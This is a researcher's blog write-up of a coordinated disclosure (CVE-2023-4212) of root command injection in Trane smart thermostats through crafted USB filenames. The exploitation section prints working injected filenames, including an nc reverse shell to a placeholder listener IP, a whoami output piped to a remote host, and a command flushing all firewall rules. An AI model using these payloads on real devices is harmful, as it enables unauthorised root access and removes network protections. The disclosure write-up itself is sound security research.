Summary
I discovered a vulnerability allowing arbitrary command injection as root in Trane XL824, XL850, XL1050, and Pivot smart thermostats using a specially crafted filename. The vulnerability has existed since at least 2015 and requires physical access to the device via a USB drive. All affected devices will automatically update.
CVE-2023-4212 was assigned to this vulnerability and the Cybersecurity and Infrastructure Agency (CISA) published an ICS advisory here. The CVSS score is 6.8 – CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
I learnt a lot about vulnerability reporting, persistence, and all the different ways you can plug a USB in wrong while finding this vulnerability!
Timeline
- 02/26/2023: Vulnerability reported to CISA. No response
- 04/02/2023: Followed up with CISA. Redirected to manufacturer
- 04/03/2023: Response from manufacturer. Vulnerability reported
- 08/22/2023: Coordinated disclosure
Getting a new HVAC system
In Summer 2021, I was at home in Virginia Beach for the summer interning at Censys writing network scanners to find publicly exposed critical infrastructure when our HVAC system broke. 2021 was the hottest summer on record (a trend that has unfortunately continued) and while it may not have been quite 100° inside, it certainly felt that way.
After several weeks of oppressive heat, we had a new air conditioning system + a smart thermostat. Looking online, I saw it had several previous security issues– hardcoded credentials and a buffer overflow in the service used to control the unit remotely.
Having just spent a semester reverse engineering similar IoT systems, I wanted to see what I could find. I spent some time trying to run the Metasploit module developed for the buffer overflow and confirmed that the hardcoded credentials had been changed.
I then got busy started other unfinished projects. I tried again for a bit when I was home for winter break later that year but didn’t get anywhere.
Picking it back up
A year and a half later– in 2023– after graduating, I had a few months of downtime before starting my new job. The thermostat was fresh in my mind since I saw it when I walked out of my room everyday and I decided to try again.
I focused on trying to person-in-the-middle (PITM) proxy the device to see if I could get new information that way. Robert Heaton has a great blog on doing just that and I actually reached out to him for help.
After a lot of trial and error, the details of which are in his blog, I started to see traffic in Wireshark!
Person-in-the-middle proxying the thermostat
Now that I had the ability to see some of the traffic, I got a better idea of what the thermostat was doing and how it was potentially exploitable. I rebooted the unit to see if there was any interesting behaviour during a cold-start.
The traffic looked like this:
192.168.2.3 192.168.2.1 DNS 48031 53 76 Standard query 0x9894 A time.mynexia.com 192.168.2.3
192.168.2.1 192.168.2.3 DNS 53 48031 166 Standard query response 0x9894 A time.mynexia.com CNAME time.google.com A 216.239.35.8 A 216.239.35.12 A 216.239.35.4 A 216.239.35.0 192.168.2.1
192.168.2.3 216.239.35.8 NTP 59155 123 90 NTP Version 3, client 192.168.2.3
192.168.2.3 192.168.2.1 DNS 57616 53 79 Standard query 0xc61f A weather.mynexia.com 192.168.2.3
192.168.2.1 192.168.2.3 DNS 53 57616 231 Standard query response 0xc61f A weather.mynexia.com CNAME weather-584361750.us-east-1.elb.amazonaws.com A 44.194.210.186 A 34.192.7.31 A 54.157.120.144 A 34.195.41.106 A 52.22.178.235 A 184.73.202.15 192.168.2.1
192.168.2.3 34.206.80.232 TCP 47846 443 74 47846 → 443 [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSval=4294953650 TSecr=0 WS=16 192.168.2.3
192.168.2.3 192.168.2.1 DNS 50175 53 76 Standard query 0xf6e5 A smil.mynexia.com 192.168.2.3
192.168.2.1 192.168.2.3 DNS 53 50175 124 Standard query response 0xf6e5 A smil.mynexia.com A 34.206.80.232 A 3.217.253.134 A 3.216.244.136 192.168.2.1
192.168.2.3 34.206.80.232 TCP 47846 443 74 47846 → 443 [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSval=4294953650 TSecr=0 WS=16 192.168.2.3
192.168.2.3 192.168.2.1 DNS 34044 53 81 Standard query 0x54f2 A faceplate.mynexia.com 192.168.2.3
192.168.2.1 192.168.2.3 DNS 53 34044 119 Standard query response 0x54f2 A faceplate.mynexia.com CNAME fp-live.mynexia.com A 34.231.42.65 192.168.2.1
192.168.2.3 192.168.2.1 TCP 58650 443 74 58650 → 443 [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSval=4294954064 TSecr=0 WS=16 192.168.2.3
192.168.2.3 192.168.2.1 DNS 48578 53 75 Standard query 0x2880 A www.mynexia.com 192.168.2.3
192.168.2.1 192.168.2.3 DNS 53 48578 123 Standard query response 0x2880 A www.mynexia.com A 107.20.67.94 A 54.235.84.115 A 3.219.92.114 192.168.2.1
192.168.2.3 107.20.67.94 TCP 58049 443 74 58049 → 443 [SYN] Seq=0 Win=5840 Len=0 MSS=1460 TSval=4294955452 TSecr=0 WS=16 192.168.2.3
We see a couple services:
- time.mynexia.com (used for NTP time syncing)
- weather.mynexia.com (used for getting the current weather)
- smil.mynexia.com (Synchronized Multimedia Integration Language– diagnostic and control)
- faceplate.mynexia.com (remote access service for dealers)
- www.mynexia.com (remote management portal for unit)
I can see DNS traffic now, but what can we actually do with this? By spoofing the DNS responses, the thermostat will reach out to my invisible Burp proxy. If it doesn’t properly validate the TLS certificates, we can read and tamper with traffic!
The majority of network requests properly validated the TLS certificates. I was able to modify and intercept some network calls, but all I could do was spoof the weather data. Unfortunately, causing someone to forget their umbrella doesn’t quite count as a security vulnerability.
The weather API returns the data in XML format which is then parsed on the thermostat which is then parsed on the thermostat:
XML Data
<?xml version="1.0"?>
<WeatherReport>
<location zipcode="23452">
<country>US</country>
<state>VA</state>
<city>Virginia Beach</city>
<lat>36.85293</lat>
<lon>-75.97798</lon>
<date>
<pretty_short>12:48 AM -0400</pretty_short>
<pretty>12:48 AM -0400 on June 8, 2023</pretty>
<day>8</day>
<month>6</month>
<year>2023</year>
<yday>158</yday>
<hour>0</hour>
<min>48</min>
<sec>0</sec>
<isdst>0</isdst>
<monthname>June</monthname>
<weekday>Thursday</weekday>
<ampm>AM</ampm>
<tz_short/>
</date>
<current_conditions>
<date>
<pretty_short>12:48 AM -0400</pretty_short>
<pretty>12:48 AM -0400 on June 8, 2023</pretty>
<day>8</day>
<month>6</month>
<year>2023</year>
<yday>158</yday>
<hour>0</hour>
<min>48</min>
<sec>0</sec>
<isdst>0</isdst>
<monthname>June</monthname>
<weekday>Thursday</weekday>
<ampm>AM</ampm>
<tz_short/>
</date>
<wmo_code>99999</wmo_code>
<icao_code/>
<lat>36.85293</lat>
<lon>-75.97798</lon>
<name>Virginia Beach</name>
<temperature>
<current>
<F>61</F>
<C>15.8</C>
</current>
<high>
<HF>71</HF>
<HC>22</HC>
</high>
<low>
<LF>61</LF>
<LC>16</LC>
</low>
</temperature>
<dewpoint>
<F>59</F>
<C>14.7</C>
</dewpoint>
<humidity>93%</humidity>
<windchill>
<F>61</F>
<C>16.1</C>
</windchill>
<heatindex>
<F>61</F>
<C>16.1</C>
</heatindex>
<wind>
<mph>1</mph>
<kmh>2</kmh>
<direction>NNE</direction>
</wind>
<windgust>
<mph>3</mph>
<kmh>5</kmh>
</windgust>
<pressure>
<inches>29.7</inches>
<hpa>1006</hpa>
</pressure>
<weathercondition>
<currentcondition>Mist and Fog</currentcondition>
<icon>nt_fog</icon>
</weathercondition>
</current_conditions>
<forecast zipcode="23452">
<days>
<day id="Wednesday">
<temperature>
<high>
<F>71</F>
<C>22</C>
</high>
<low>
<F>61</F>
<C>16</C>
</low>
</temperature>
<weathercondition>
<currentcondition>Smoke</currentcondition>
<icon>fogNight</icon>
</weathercondition>
</day>
<day id="Thursday">
<temperature>
<high>
<F>73</F>
<C>23</C>
</high>
<low>
<F>61</F>
<C>16</C>
</low>
</temperature>
<weathercondition>
<currentcondition>Isolated Storms</currentcondition>
<icon>chancetstorms</icon>
</weathercondition>
</day>
<day id="Friday">
<temperature>
<high>
<F>73</F>
<C>23</C>
</high>
<low>
<F>61</F>
<C>16</C>
</low>
</temperature>
<weathercondition>
<currentcondition>Isolated Storms</currentcondition>
<icon>chancetstorms</icon>
</weathercondition>
</day>
<day id="Saturday">
<temperature>
<high>
<F>76</F>
<C>25</C>
</high>
<low>
<F>65</F>
<C>18</C>
</low>
</temperature>
<weathercondition>
<currentcondition>Mostly Sunny</currentcondition>
<icon>mostlyclear</icon>
</weathercondition>
</day>
<day id="Sunday">
<temperature>
<high>
<F>81</F>
<C>27</C>
</high>
<low>
<F>69</F>
<C>21</C>
</low>
</temperature>
<weathercondition>
<currentcondition>Mostly Sunny</currentcondition>
<icon>mostlyclear</icon>
</weathercondition>
</day>
</days>
</forecast>
<alerts>
<alert count="0"/>
</alerts>
<radar>
<imageurl><![CDATA[https://radar.mynexia.com/?lat=36.7494&lng=-76.0571&width=600&height=600]]></imageurl>
</radar>
</location>
</WeatherReport>
I tried pretty much every XML vulnerability you could think of: XXE server-side request forgery, denial-of-service, and file inclusion. Unfortunately, I wasn’t able to get anywhere (even though there was no security impact, Trane has patched this as well).
I did spend a lot of time inspecting the old firmware code where this weather data gets processed. This ended up being useful later.
Even though I spent a lot of time on the PITM and learned a lot, ultimately it wasn’t part of the final attack path. This is a reality of security research, you’ll learn fifty things that don’t work for every one that does.
Reverse engineering the firmware
To see what the unit is doing, we can analyze the firmware. I probably could have extracted a copy through a JTAG or UART port, but since the unit was controlling my HVAC system, potentially destructive testing was out of the question.
A useful resource for inspecting IoT device’s internals is FCC ID.io. Wireless devices have to register with the FCC and be assigned a unique identifier. This is useful for determining the frequencies a device might transmit on, but also for seeing what hardware it uses through the required internal photos. In this case, it looks like the thermostat uses (or used as of 2014) a MCIMX283CVM4B microprocessor which has an ARM926EJ-S core.
If I had a binary, now knowing the architecture I could use Ghidra to dissemble it. Luckily this wasn’t needed.
We also can’t download a copy of the firmware since it isn’t available on Trane’s website. However previous versions were published. Let’s download an old copy and take a look at what we can find. I followed the process outlined here by Jeff Kitson to unpack it with ubi_reader.
I spent a long time poking around and trying to make sense of what was going on– especially with the service that processed the weather data as I was able to tamper with that. Since I wasn’t able to get an attack here to work, I wanted to try and get an updated copy of the firmware to see if there were any new bugs we could exploit.
Right next to the weather service, I stumbled across an aptly named SoftwareUpgrade.rb file that reached out to a remote server to check for upgrades. Bingo!
http = EM::HttpRequest.new("https://#{url}#{Constants::NEXIA::UPGRADE_PATH}/xl_firmware/check?serialnumber=#{serial_num}&build=#{build_num}&auid=#{auid}&model=#{model}&platform=#{platform}").get({:head => {"Content-Type" => content_type}})
After substituting in all the variables, if a new build is available we get a link to an S3 bucket with the updated firmware:
{
"href": "https://s3.amazonaws.com/<bucket>/<specific file>
"build": "<build num>"
}
From there, I followed the steps as before to inspect our updated firmware!
Automating vulnerability discovery with Semgrep
Manually poking around firmware isn’t the most efficient way to do things. While it’s great to start, even with relatively small file systems it gets to be too much quickly. As a software engineer at heart, I wanted a better way.
Semgrep is a great tool for static analysis and can help uncover areas of interest more scalably!
I cd’d to the root of the filesystem and ran:
semgrep --config=auto | less
I find that Semgrep often gives so many results that it’s a pain to scroll back up in my terminal. I like to pipe it to less so I can manually go through them. After scrolling through a number of findings, one caught my eye:
ruby.lang.security.dangerous-exec.dangerous-exec
Detected non-static command inside IO.popen. Audit the input to 'IO.popen'. If unverified
user data can reach this call site, this is a code injection vulnerability. A malicious
actor can inject a malicious script to execute arbitrary code.
Details: https://sg.run/R8GY
148┆ IO.popen("tar -xOf #{latest_package_file_path} m_#{latest_build_num}"){|io|
If I was manually looking through thousands of lines of code, I definitely would have missed this one line!
Let’s open up the file and see what’s going on.
The code here is updating the software on the device if a new version is available:
#TODO check this...
IO.popen("tar -xOf #{latest_package_file_path} m_#{latest_build_num}"){|io|
if(temp = SoftwareManifestXMLParser::parse io.read)
update_package(temp, latest_package_file_path, latest_build_num)
else
return nil
end
}
#TODO check this... it definitely seems like we’re on to something!
The calling code checks each file on the USB drive to see if it has a newer version available:
files = `ls /mnt/usb/**/#{@platform_id}*.tar`
files.strip().split("\n").each{ |abs_name|
# regex to check that filename starts with r824_, ends with .tar, and has a build number
next unless /(?<=\A#{@platform_id})(\d+)(?=\.tar)/ =~ File.basename(abs_name)
build_num = $1
# update if given a more recent build number
next if build_num.chop.chop.to_i <= @current_build.to_i
if(!latest_build_num or build_num.chop.chop.to_i > latest_build_num.chop.chop.to_i)
latest_build_num = build_num
latest_package_file_path = abs_name
end
}
If a new version is available, it untars the filename in a shell. Can you see where I’m going with this?
We’ve got a service on the device that automatically untars files that match certain conditions. It has to:
- Match the regex
(?<=\Ar824_)(\d+)(?=\.tar) - End with
.tar - Be greater than the current build number
If the current build number is 100, this string would match r824_101.tar
But it doesn’t have to be an exclusive match!
This string would match:
r824_101.tar more_string.tar
And this one would too!
r824_101.tar && echo "hello".tar
By inserting a USB with a specially crafted filename, we’re able to achieve code execution when the file is untarred! How can we exploit this though?
Getting past the FAT32 filesystem
My initial instincts told me to try to open a reverse shell. Unfortunately, I couldn’t just use this as the filename:
r824_101.tar & nc <listener ip> 1337 -e /bin/bash #.tar
For reasons I only realized after much trial and error, my USB drive has a FAT32 filesystem which forbids special characters. Unix also forbids / and null-characters.
The software service the device runs is written in Ruby so we can take advantage of the Ruby interpreter– converting an ASCII number to a character and then use string interpolation to get our desired command!
r824_101.tar & ruby -e 'slash=47.chr; `nc <listener ip> 1337 -e #{slash}bin#{slash}bash`' #.tar
Let’s see what user the device is using by inserting a USB drive with this filename into the device:
r824_101.tar & ruby -e 'pipe=124.chr; `whoami #{pipe} nc <IP> 1337`' #.tar
And simultaneously listening on another computer.
➜ nc -lk 0.0.0.0 1337
root
We’ve achieved command injection as the root user! How deep can we go though?
Bringing down the shields
An earlier nmap scan showed a number of filtered ports. These are disabled through iptables as part of the device’s startup. By cat‘ing the etc/rc.d/init.d/network file, we can learn what they are:
# Disable the external SMIL (port 9999)
iptables -A INPUT -p tcp --dport 9999 ! -s 127.0.0.1 -j DROP
# Disable the external cci_handler (port 7777)
iptables -A INPUT -p tcp --dport 7777 ! -s 127.0.0.1 -j DROP
# Disable the external platform_manager (port 7788)
iptables -A INPUT -p tcp --dport 7788 ! -s 127.0.0.1 -j DROP
# Disable the external platform_manager (port 7789)
iptables -A INPUT -p tcp --dport 7789 ! -s 127.0.0.1 -j DROP
# Disable the external XLBridge CCIH (port 4447)
iptables -A INPUT -p tcp --dport 4447 ! -s 127.0.0.1 -j DROP
# Disable the external XLBridge diagnostic (port 4448)
iptables -A INPUT -p tcp --dport 4448 ! -s 127.0.0.1 -j DROP
Let’s go ahead and disable all these rules:
r824_101.tar & ruby -e '`iptables -P INPUT ACCEPT; iptables -F; iptables -X `' #.tar
Now we’re able to connect to these ports!
Specifically for port 9999 (the SMIL service) we can leverage the Tranewreck tools developed by Jeff Kitson. There’s lots of interesting diagnostic and control information that the thermostat outputs.
Reporting the vulnerability
In my day job at Retool, I help respond to and triage security reports, but this was my first time being on the other side of the process. Trane were great to work with and very responsive. They did a great job keeping me in the loop and updated on the status of the fix.
However, I initially wasn’t sure where to submit a report since they don’t list security contact information on their website. I decided to reach out to CISA since I saw a researcher had previously reported a Trane vulnerability directly to them. However, after following up with CISA they redirected me to the vendor (Trane). Without a clear path for reporting, I was also a little hesitant since there are horror stories of companies taking legal action against security researchers. The EFF has a great FAQ on this. Ultimately, Trane were very professional and demonstrated a clear commitment to security.
Conclusion
While the ultimate impact of this vulnerability is fairly low since it requires a physical attack vector, I had a blast and learned a lot working on it. For owners of these thermostats, no action is needed since they will automatically update to the latest version.
Thanks to Trane for getting it fixed!